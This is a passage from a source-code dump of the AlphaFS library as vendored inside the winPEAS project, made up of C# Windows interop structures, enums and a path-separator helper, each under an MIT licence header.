PrintNameLength + (namesAreNullTerminated ? 2 * sizeof(char) : 0); /// public ushort ReparseDataLength; /// Reserved; do not use. public ushort Reserved; /// A buffer containing the unicode-encoded path string. The path string contains the substitute name string and print name string. [MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)] public byte[] data; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/SP_DEVICE_INTERFACE_DATA.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Runtime.InteropServices; namespace Alphaleonis.Win32.Filesystem { internal static partial class NativeMethods { /// An SP_DEVICE_INTERFACE_DATA structure defines a device interface in a device information set. [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] internal struct SP_DEVICE_INTERFACE_DATA { /// The size, in bytes, of the SP_DEVICE_INTERFACE_DATA structure. [MarshalAs(UnmanagedType.U4)] public uint cbSize; /// The GUID for the class to which the device interface belongs. public readonly Guid InterfaceClassGuid; /// Can be one or more of the following: SPINT_ACTIVE (1), SPINT_DEFAULT (2), SPINT_REMOVED (3). [MarshalAs(UnmanagedType.U4)] public readonly uint Flags; /// Reserved. Do not use. private readonly IntPtr Reserved; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/SP_DEVICE_INTERFACE_DETAIL_DATA.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Runtime.InteropServices; namespace Alphaleonis.Win32.Filesystem { internal static partial class NativeMethods { /// An SP_DEVICE_INTERFACE_DETAIL_DATA structure contains the path for a device interface. [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] internal struct SP_DEVICE_INTERFACE_DETAIL_DATA { /// The size, in bytes, of the SP_DEVICE_INTERFACE_DETAIL_DATA structure. [MarshalAs(UnmanagedType.U4)] public uint cbSize; /// The device interface path. This path can be passed to Win32 functions such as CreateFile. [MarshalAs(UnmanagedType.ByValTStr, SizeConst = MaxPath)] public readonly string DevicePath; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/SP_DEVINFO_DATA.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Runtime.InteropServices; namespace Alphaleonis.Win32.Filesystem { internal static partial class NativeMethods { /// An SP_DEVINFO_DATA structure defines a device instance that is a member of a device information set. [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] internal struct SP_DEVINFO_DATA { /// The size, in bytes, of the SP_DEVINFO_DATA structure. [MarshalAs(UnmanagedType.U4)] public uint cbSize; /// The GUID of the device's setup class. public readonly Guid ClassGuid; /// An opaque handle to the device instance (also known as a handle to the devnode). [MarshalAs(UnmanagedType.U4)] public readonly uint DevInst; /// Reserved. For internal use only. private readonly IntPtr Reserved; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/STREAM_ATTRIBUTE.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ namespace Alphaleonis.Win32.Filesystem { internal static partial class NativeMethods { /// WIN32_STREAM_ID structure attributes of data to facilitate cross-operating system transfer. This member can be one or more of the following values. internal enum STREAM_ATTRIBUTE { /// This backup stream has no special attributes. NONE = 0, /// Attribute set if the stream contains data that is modified when read. Allows the backup application to know that verification of data will fail. STREAM_MODIFIED_WHEN_READ = 1, /// The backup stream contains security information. This attribute applies only to backup stream of type . STREAM_CONTAINS_SECURITY = 2, /// Reserved. STREAM_CONTAINS_PROPERTIES = 4, /// The backup stream is part of a sparse file stream. This attribute applies only to backup stream of type , , and . STREAM_SPARSE_ATTRIBUTE = 8 } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/STREAM_ID.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ namespace Alphaleonis.Win32.Filesystem { internal static partial class NativeMethods { /// The type of the data contained in the backup stream. internal enum STREAM_ID { /// This indicates an error. NONE = 0, /// Standard data. This corresponds to the NTFS $DATA stream type on the default (unnamed) data stream. BACKUP_DATA = 1, /// Extended attribute data. This corresponds to the NTFS $EA stream type. BACKUP_EA_DATA = 2, /// Security descriptor data. BACKUP_SECURITY_DATA = 3, /// Alternative data streams. This corresponds to the NTFS $DATA stream type on a named data stream. BACKUP_ALTERNATE_DATA = 4, /// Hard link information. This corresponds to the NTFS $FILE_NAME stream type. BACKUP_LINK = 5, /// Property data. BACKUP_PROPERTY_DATA = 6, /// Objects identifiers. This corresponds to the NTFS $OBJECT_ID stream type. BACKUP_OBJECT_ID = 7, /// Reparse points. This corresponds to the NTFS $REPARSE_POINT stream type. BACKUP_REPARSE_DATA = 8, /// Sparse file. This corresponds to the NTFS $DATA stream type for a sparse file. BACKUP_SPARSE_BLOCK = 9, /// Transactional NTFS (TxF) data stream. /// Windows Server 2003 and Windows XP: This value is not supported. BACKUP_TXFS_DATA = 10 } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/STREAM_INFO_LEVELS.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ namespace Alphaleonis.Win32.Filesystem { internal static partial class NativeMethods { /// Defines values that are used with the FindFirstStreamW function to specify the information level of the returned data. /// /// Minimum supported client: Windows Vista [desktop apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] /// internal enum STREAM_INFO_LEVELS { /// The FindFirstStreamW function retrieves standard stream information. The data is returned in a structure. FindStreamInfoStandard = 0, /// Used to determine valid enumeration values. All supported enumeration values are less than FindStreamInfoMaxInfoLevel. FindStreamInfoMaxInfoLevel = 1 } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/SymbolicLinkReparseBuffer.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Runtime.InteropServices; namespace Alphaleonis.Win32.Filesystem { internal static partial class NativeMethods { [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] internal struct SymbolicLinkReparseBuffer { public ushort SubstituteNameOffset; public ushort SubstituteNameLength; public ushort PrintNameOffset; public ushort PrintNameLength; public SymbolicLinkType Flags; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)] public byte[] data; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/VOLUME_INFO_FLAGS.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; namespace Alphaleonis.Win32.Filesystem { internal static partial class NativeMethods { /// Volume Attributes used by the GetVolumeInfo() function. [Flags] internal enum VOLUME_INFO_FLAGS { /// The specified volume supports case-sensitive file names. FILE_CASE_SENSITIVE_SEARCH = 1, /// The specified volume supports preserved case of file names when it places a name on disk. FILE_CASE_PRESERVED_NAMES = 2, /// The specified volume supports Unicode in file names as they appear on disk. FILE_UNICODE_ON_DISK = 4, /// The specified volume preserves and enforces access control lists (ACL). For example, the NTFS file system preserves and enforces ACLs, and the FAT file system does not. FILE_PERSISTENT_ACLS = 8, /// The specified volume supports file-based compression. FILE_FILE_COMPRESSION = 16, /// The specified volume supports disk quotas. FILE_VOLUME_QUOTAS = 32, /// The specified volume supports sparse files. FILE_SUPPORTS_SPARSE_FILES = 64, /// The specified volume supports re-parse points. FILE_SUPPORTS_REPARSE_POINTS = 128, /// (does not appear on MSDN) FILE_SUPPORTS_REMOTE_STORAGE = 256, /// The specified volume is a compressed volume, for example, a DoubleSpace volume. FILE_VOLUME_IS_COMPRESSED = 32768, /// The specified volume supports object identifiers. FILE_SUPPORTS_OBJECT_IDS = 65536, /// The specified volume supports the Encrypted File System (EFS). For more information, see File Encryption. FILE_SUPPORTS_ENCRYPTION = 131072, /// The specified volume supports named streams. FILE_NAMED_STREAMS = 262144, /// The specified volume is read-only. FILE_READ_ONLY_VOLUME = 524288, /// The specified volume is read-only. FILE_SEQUENTIAL_WRITE_ONCE = 1048576, /// The specified volume supports transactions.For more information, see About KTM. FILE_SUPPORTS_TRANSACTIONS = 2097152, /// The specified volume supports hard links. For more information, see Hard Links and Junctions. /// Windows Server 2008, Windows Vista, Windows Server 2003, and Windows XP: This value is not supported until Windows Server 2008 R2 and Windows 7. FILE_SUPPORTS_HARD_LINKS = 4194304, /// The specified volume supports extended attributes. An extended attribute is a piece of application-specific metadata that an application can associate with a file and is not part of the file's data. /// Windows Server 2008, Windows Vista, Windows Server 2003, and Windows XP: This value is not supported until Windows Server 2008 R2 and Windows 7. FILE_SUPPORTS_EXTENDED_ATTRIBUTES = 8388608, /// The file system supports open by FileID. For more information, see FILE_ID_BOTH_DIR_INFO. /// Windows Server 2008, Windows Vista, Windows Server 2003, and Windows XP: This value is not supported until Windows Server 2008 R2 and Windows 7. FILE_SUPPORTS_OPEN_BY_FILE_ID = 16777216, /// The specified volume supports update sequence number (USN) journals. For more information, see Change Journal Records. /// Windows Server 2008, Windows Vista, Windows Server 2003, and Windows XP: This value is not supported until Windows Server 2008 R2 and Windows 7. FILE_SUPPORTS_USN_JOURNAL = 33554432, /// The specified volume is a direct access (DAX) volume. /// This flag was introduced in Windows 10, version 1607. FILE_DAX_VOLUME = 536870912 } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/WIN32_FILE_ATTRIBUTE_DATA.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.IO; using System.Runtime.InteropServices; namespace Alphaleonis.Win32.Filesystem { internal static partial class NativeMethods { /// WIN32_FILE_ATTRIBUTE_DATA structure contains attribute information for a file or directory. The GetFileAttributesEx function uses this structure. /// /// Not all file systems can record creation and last access time, and not all file systems record them in the same manner. /// For example, on the FAT file system, create time has a resolution of 10 milliseconds, write time has a resolution of 2 seconds, /// and access time has a resolution of 1 day. On the NTFS file system, access time has a resolution of 1 hour. /// For more information, see File Times. /// [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] internal struct WIN32_FILE_ATTRIBUTE_DATA { public WIN32_FILE_ATTRIBUTE_DATA(WIN32_FIND_DATA findData) { dwFileAttributes = findData.dwFileAttributes; ftCreationTime = findData.ftCreationTime; ftLastAccessTime = findData.ftLastAccessTime; ftLastWriteTime = findData.ftLastWriteTime; nFileSizeHigh = findData.nFileSizeHigh; nFileSizeLow = findData.nFileSizeLow; } /// The file attributes of a file. [MarshalAs(UnmanagedType.I4)] public FileAttributes dwFileAttributes; /// A structure that specifies when a file or directory was created. /// If the underlying file system does not support creation time, this member is zero. public readonly FILETIME ftCreationTime; /// A structure. /// For a file, the structure specifies when the file was last read from, written to, or for executable files, run. /// For a directory, the structure specifies when the directory is created. If the underlying file system does not support last access time, this member is zero. /// On the FAT file system, the specified date for both files and directories is correct, but the time of day is always set to midnight. /// public readonly FILETIME ftLastAccessTime; /// A structure. /// For a file, the structure specifies when the file was last written to, truncated, or overwritten, for example, when WriteFile or SetEndOfFile are used. /// The date and time are not updated when file attributes or security descriptors are changed. /// For a directory, the structure specifies when the directory is created. If the underlying file system does not support last write time, this member is zero. /// public readonly FILETIME ftLastWriteTime; /// The high-order DWORD of the file size. This member does not have a meaning for directories. /// This value is zero unless the file size is greater than MAXDWORD. /// The size of the file is equal to (nFileSizeHigh * (MAXDWORD+1)) + nFileSizeLow. /// public readonly uint nFileSizeHigh; /// The low-order DWORD of the file size. This member does not have a meaning for directories. public readonly uint nFileSizeLow; /// The file size. public long FileSize { get { return ToLong(nFileSizeHigh, nFileSizeLow); } } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/WIN32_FIND_DATA.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Runtime.InteropServices; namespace Alphaleonis.Win32.Filesystem { internal static partial class NativeMethods { /// Contains information about the file that is found by the FindFirstFile, FindFirstFileEx, or FindNextFile function. /// /// If a file has a long file name, the complete name appears in the cFileName member, and the 8.3 format truncated version of the name appears /// in the cAlternateFileName member. Otherwise, cAlternateFileName is empty. If the FindFirstFileEx function was called with a value of FindExInfoBasic /// in the fInfoLevelId parameter, the cAlternateFileName member will always contain a null string value. This remains true for all subsequent calls to the /// FindNextFile function. As an alternative method of retrieving the 8.3 format version of a file name, you can use the GetShortPathName function. /// For more information about file names, see File Names, Paths, and Namespaces. /// /// /// Not all file systems can record creation and last access times, and not all file systems record them in the same manner. /// For example, on the FAT file system, create time has a resolution of 10 milliseconds, write time has a resolution of 2 seconds, /// and access time has a resolution of 1 day. The NTFS file system delays updates to the last access time for a file by up to 1 hour /// after the last access. For more information, see File Times. /// [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] [Serializable] internal struct WIN32_FIND_DATA { /// The file attributes of a file. public FileAttributes dwFileAttributes; /// A structure that specifies when a file or directory was created. /// If the underlying file system does not support creation time, this member is zero. public FILETIME ftCreationTime; /// A structure. /// For a file, the structure specifies when the file was last read from, written to, or for executable files, run. /// For a directory, the structure specifies when the directory is created. If the underlying file system does not support last access time, this member is zero. /// On the FAT file system, the specified date for both files and directories is correct, but the time of day is always set to midnight. /// public FILETIME ftLastAccessTime; /// A structure. /// For a file, the structure specifies when the file was last written to, truncated, or overwritten, for example, when WriteFile or SetEndOfFile are used. /// The date and time are not updated when file attributes or security descriptors are changed. /// For a directory, the structure specifies when the directory is created. If the underlying file system does not support last write time, this member is zero. /// public FILETIME ftLastWriteTime; /// The high-order DWORD of the file size. This member does not have a meaning for directories. /// This value is zero unless the file size is greater than MAXDWORD. /// The size of the file is equal to (nFileSizeHigh * (MAXDWORD+1)) + nFileSizeLow. /// public uint nFileSizeHigh; /// The low-order DWORD of the file size. This member does not have a meaning for directories. public uint nFileSizeLow; /// If the dwFileAttributes member includes the FILE_ATTRIBUTE_REPARSE_POINT attribute, this member specifies the reparse point tag. /// Otherwise, this value is undefined and should not be used. /// public readonly ReparsePointTag dwReserved0; /// Reserved for future use. private readonly uint dwReserved1; /// The name of the file. [MarshalAs(UnmanagedType.ByValTStr, SizeConst = MaxPath)] public string cFileName; /// An alternative name for the file. This name is in the classic 8.3 file name format. [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 14)] public readonly string cAlternateFileName; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/WIN32_FIND_STREAM_DATA.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Runtime.InteropServices; namespace Alphaleonis.Win32.Filesystem { internal static partial class NativeMethods { [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] internal struct WIN32_FIND_STREAM_DATA { public long StreamSize; [MarshalAs(UnmanagedType.ByValTStr, SizeConst = MaxPath + 36)] public string cStreamName; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/WIN32_STREAM_ID.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Runtime.InteropServices; namespace Alphaleonis.Win32.Filesystem { internal static partial class NativeMethods { /// Contains stream data. [StructLayout(LayoutKind.Sequential, Pack = 1, CharSet = CharSet.Unicode)] [Serializable] internal struct WIN32_STREAM_ID { /// Type of stream data. [MarshalAs(UnmanagedType.U4)] public readonly STREAM_ID dwStreamId; /// Attributes of data to facilitate cross-operating system transfer. [MarshalAs(UnmanagedType.U4)] public readonly STREAM_ATTRIBUTE dwStreamAttribute; /// Size of data, in bytes. [MarshalAs(UnmanagedType.U8)] public readonly ulong Size; /// Length of the name of the alternative data stream, in bytes. [MarshalAs(UnmanagedType.U4)] public readonly uint dwStreamNameSize; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path Core Methods/Path.AddTrailingDirectorySeparatorCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Globalization; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { /// Adds a trailing or character to the string, when absent. /// A text string with a trailing or character. The function returns null when is null. /// A text string to which the trailing or is to be added, when absent. /// If true the character will be added instead. [SecurityCritical] internal static string AddTrailingDirectorySeparatorCore(string path, bool addAlternateSeparator) { return null == path ? null : (addAlternateSeparator ? (!path.EndsWith(AltDirectorySeparatorChar.ToString(CultureInfo.InvariantCulture), StringComparison.Ordinal) ? path + AltDirectorySeparatorChar : path) : (!path.EndsWith(DirectorySeparatorChar.ToString(CultureInfo.InvariantCulture), StringComparison.Ordinal) ? path + DirectorySeparatorChar : path)); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path Core 